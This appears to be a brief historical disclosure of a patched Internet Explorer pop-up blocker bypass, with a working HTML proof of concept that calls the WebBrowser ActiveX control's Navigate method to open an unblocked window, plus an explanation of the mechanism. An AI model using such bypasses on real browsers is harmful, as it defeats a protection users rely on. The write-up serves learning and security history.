The WebBrowser Control ActiveX (the same engine that powers IE) exposes a Navigate method that opens URLs without going through the pop-up blocker. Embedding a tiny, invisible instance of the control and calling Navigate with "_blank" as the target is enough to open a new window unimpeded.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<TITLE> popUp byPass using WebBrowser Control </TITLE></HEAD>
<BODY>
<OBJECT id="theObj" height="200" width="500" classid="clsid:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>
<SCRIPT LANGUAGE="JavaScript">
setTimeout('document.all.theObj.Navigate("http://www.google.com","","_blank")',1000);
</SCRIPT>
</BODY>
</HTML>

The CLSID 8856F961-340A-11D0-A96B-00C04FD705A2 is the Shell Explorer/WebBrowser control. Its Navigate method is a lower-level browser navigation that predates the pop-up blocker and wasn’t subject to the same filtering. The timeout is only there to ensure the control has finished initializing before the call is made.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.